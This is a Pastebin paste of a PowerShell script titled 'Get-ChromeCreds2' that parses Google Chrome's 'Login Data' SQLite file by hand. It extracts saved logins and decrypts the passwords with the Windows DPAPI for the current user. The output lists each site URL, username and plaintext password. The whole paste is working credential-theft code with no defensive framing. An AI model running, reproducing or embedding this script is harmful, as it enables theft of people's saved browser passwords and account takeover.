Advertisement
Guest User

Get-ChromeCreds2

a guest
Apr 28th, 2017
240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##
  2. #  Parse a SQLite database containing Google Chrome credentials
  3. #
  4. #  This script traverses a SQLite database to carve records containing
  5. #  entries in the 'logins' table.  It will only function when run by the
  6. #  user who owns the database being processed.  
  7. ##
  8.  
  9. # Use the default location in the current user's profile
  10. $User = $Env:USERPROFILE
  11. $DbFile = "$User\AppData\Local\Google\Chrome\User Data\Default\Login Data"
  12. $Stream = New-Object IO.FileStream -ArgumentList "$DbFile", 'Open', 'Read', 'ReadWrite'
  13.  
  14. Add-Type -AssemblyName System.Security
  15. $Encoding = [System.Text.Encoding]::GetEncoding(28591)
  16. $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding
  17. $BinaryText = $StreamReader.ReadToEnd()
  18.  
  19. $StreamReader.Close()
  20. $Stream.Close()
  21.  
  22. ##
  23. #  Length of various non-string field types in a record.  Derived from
  24. #  https://www.sqlite.org/fileformat2.html#record_format
  25. ##
  26. $SerialMap = [ordered]@{0=0; 1=1; 2=2; 3=3; 4=4; 5=5; 6=6; 7=8; 8=0; 9=0}
  27.  
  28. ##
  29. #  Convert a byte array to int32
  30. ##
  31. Function ToInt($ByteArray)
  32. {    
  33.     # Nothing to do if array is empty; necessary since check is at end of loop.
  34.     If ($ByteArray.Length -eq 0) { Return 0 }
  35.    
  36.     [int32] $Int = 0
  37.     $x = 0
  38.    
  39.     # Read $ByteArray one byte at a time, appending to $Int
  40.     Do
  41.     {
  42.         $Int = ($Int -shl 0x8) -bor ($ByteArray[$x++])
  43.     } While ($x -lt $ByteArray.Length)
  44.    
  45.     Return $Int
  46. }
  47.  
  48. ##
  49. #  Convert a Varint field to int32.  See
  50. #  https://www.sqlite.org/fileformat2.html#varint for more detail
  51. ##
  52.  
  53. Function ParseVarint($ByteArray, [ref]$VarintSize)
  54. {
  55.     [int32] $Val = 0
  56.     $x = 0
  57.     Do
  58.     {
  59.         $Byte = $ByteArray[$x++]
  60.        
  61.         # Shift $Val left by 7 bits, then append the least significant 7 bits
  62.         # of the current byte.
  63.         $Val = ($Val -shl 0x7) -bor ($Byte -band 0x7F)
  64.        
  65.     # Continue if 1) we haven't processed 8 bytes already, and 2) the MSB of the
  66.     # current byte is one.
  67.     } While ($x -lt 8 -and ($Byte -band 0x80))
  68.    
  69.     $VarintSize.Value = $x
  70.     Return $Val
  71. }
  72. # When maintaining an offset from the start of an array, we must
  73. # track the number of bytes used by a Varint.  A reference to this field is
  74. # passed with each call to ParseVarint() and should be recorded immediately
  75. # upon return.
  76. [ref]$VarintSize = 0
  77.  
  78.  
  79. ##
  80. #  Parse a database page.  For carving purposes, only 0x0D (Table Leaf) pages
  81. #  are of relevance.  
  82. #
  83. #  $Page is a byte array whose length matches address 0x10 in the file header.  
  84. #  Table Leaf pages have a header of length 0x08.  
  85. #
  86. #  The header defines the number of cells and is succeeded by a sequence of
  87. #  two-byte integers representing the offsets of those cells from the beginning
  88. #  of the page.
  89. ##
  90. Function ParsePage($Page)
  91. {
  92.     If ($Page[0] -ne 0x0D) { Return }
  93.    
  94.     $NumCells = ToInt $Page[0x3..0x4]
  95.     $CellAddrStart = 0x8
  96.     $CellAddrStop = $CellAddrStart + ($NumCells * 2) - 1
  97.  
  98.     For ($x = $CellAddrStart; $x -le $CellAddrStop; $x += 2)
  99.     {
  100.         $CellAddr = ToInt ($Page[$x .. ($x + 1)])
  101.         ParseCell($Page[$CellAddr .. $Page.Length])
  102.     }
  103. }
  104.  
  105. ##
  106. #  Parse a Table Leaf cell.  
  107. #
  108. #  Format:
  109. #  <varint>             <varint>    <byte-array>    <int32>
  110. #  (# bytes payload)    (row id)    (payload)       (overflow page)
  111. #
  112. #  Currently, this script does not parse overflow pages.
  113. ##
  114. Function ParseCell($Cell)
  115. {  
  116.     $Offset = 0
  117.    
  118.     # Payload Length varint
  119.     $PayloadLength = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize
  120.     $Offset += $VarintSize.Value
  121.    
  122.     # Row ID varint
  123.     $RowID = ParseVarint ($Cell[$Offset .. ($Offset + 4)]) $VarintSize
  124.     $Offset += $VarintSize.Value
  125.    
  126.    
  127.     If (($Offset + $Payload.Length) -le $Cell.Length)
  128.     {
  129.         ParsePayload $Cell[$Offset .. ($Offset + $PayloadLength - 1)]
  130.     }
  131. }
  132.  
  133. ##
  134. #  Parse the cell's payload.
  135. #
  136. #  The first bytes are a varint indicating the size of the payload's
  137. #  header, starting from address 0x0.  Following that, a series of
  138. #  fields describe the type and length of each field.  The payload body
  139. #  begins immediately after.
  140. #
  141. #  Ref: https://www.sqlite.org/fileformat2.html#record_format
  142. ##
  143. Function ParsePayload($Payload)
  144. {
  145.     If ($Payload.Length -eq 0) { Return }
  146.    
  147.     [ref]$VarintSize = 0
  148.     $HeaderLength = ParseVarint $Payload[0 .. 8] $VarintSize  #Header length includes length varint
  149.     $Offset = $VarintSize.Value
  150.    
  151.     # Starting from the beginning of the payload's field definition, build a list of
  152.     # the fields and their respective lengths.  
  153.     #
  154.     # The sequence of these fields for the logins table is known (and defined below),
  155.     # but the length of each string field is specific to each record.
  156.     #
  157.     # Field order:
  158.     # <origin_url> <return_url> <username_field> <username> <password_field> <password> ...
  159.     #
  160.     # If this order ever changes, it can be read from the sqlite_master table in Page 1
  161.     $FieldSeq = @()
  162.     For ($y = $Offset; $y -lt $HeaderLength; $y++)
  163.     {
  164.         $Serial = ParseVarint $Payload[$y .. ($y + 8)] $VarintSize
  165.         $y += $VarintSize.Value - 1
  166.        
  167.         Switch ($Serial)
  168.         {
  169.             # 0xA-0xB are not used by the current SQLite version
  170.             {$_ -lt 0xA} { $Len = $SerialMap[$Serial]; break }
  171.             {$_ -gt 0xB}
  172.             {
  173.                 # Even numbers of length 0xC or greater indicate a blob field whose
  174.                 # (base-10) length is double the value of ($Serial minus 0xC).  
  175.                 # Similarly, odd numbers signify strings fields.
  176.                 If ($Serial % 2 -eq 0) { $Len = (($Serial - 0xC) / 2) }
  177.                 Else { $Len = (($Serial - 0xD) / 2) }
  178.             }
  179.         }
  180.         $FieldSeq += $Len
  181.     }
  182.    
  183.     # Additional fields can be added to the output if desired.  For now, only origin_url,
  184.     # username and password are returned.
  185.     $Offset = $HeaderLength
  186.     For ($f = 0; $f -lt $FieldSeq.Length; $f++)
  187.     {
  188.         $Str = $Encoding.GetString($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)])
  189.         If ($f -eq 0) { $URL = $Str }
  190.         ElseIf ($f -eq 3) { $Username = $Str }
  191.         ElseIf ($f -eq 5) { $Password = DecodePassword($Payload[$Offset .. ($Offset + $FieldSeq[$f] - 1)]) }
  192.         $Offset += $FieldSeq[$f]
  193.     }
  194.    
  195.     # No record is printed if both the username and password are not present.
  196.     if ($Username.Length -gt 0 -and $Password.Length -gt 0)
  197.     {
  198.         $PW = New-Object System.Object
  199.         $PW | Add-Member -type Noteproperty -name URL -value $URL
  200.         $PW | Add-Member -type Noteproperty -name Username -value $Username
  201.         $PW | Add-Member -type Noteproperty -name Password -value $Password      
  202.         $PW
  203.     }
  204. }
  205.  
  206. ##
  207. #  Decode the password using Windows' crypto functions.  This will only be successful if
  208. #  the database belongs to the currently logged-in user.
  209. #
  210. #  For invalid records, an empty string is returned.
  211. ##
  212. Function DecodePassword($Password)
  213. {
  214.     $P = $Encoding.GetBytes($Password)
  215.     Try
  216.     {
  217.         $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Password,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
  218.         Return [System.Text.Encoding]::Default.GetString($Decrypt)
  219.     }
  220.     Catch { Return "" }
  221.    
  222. }
  223.  
  224. If ((Compare-Object $BinaryText[0x0 .. 0x5] @('S', 'Q', 'L', 'i', 't', 'e')) -ne $null)
  225. {
  226.     echo "Invalid file header; exiting..."
  227.     Break
  228. }
  229.  
  230. # Grab the number of pages and page size out of the header
  231. $NumPages = ToInt($BinaryText[0x1C .. 0x1F])
  232. $PageSize = ToInt($BinaryText[0x10 .. 0x11])
  233.  
  234. # Start at Page 3 since Page 1 contains the sqlite_master table and Page 2 is a Ptrmap page
  235. For ($x = 0x2; $x -lt $NumPages; $x++)
  236. {
  237.     $PageStart = ($x * $PageSize)
  238.     ParsePage $BinaryText[$PageStart .. ($PageStart + $PageSize - 1)]
  239. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement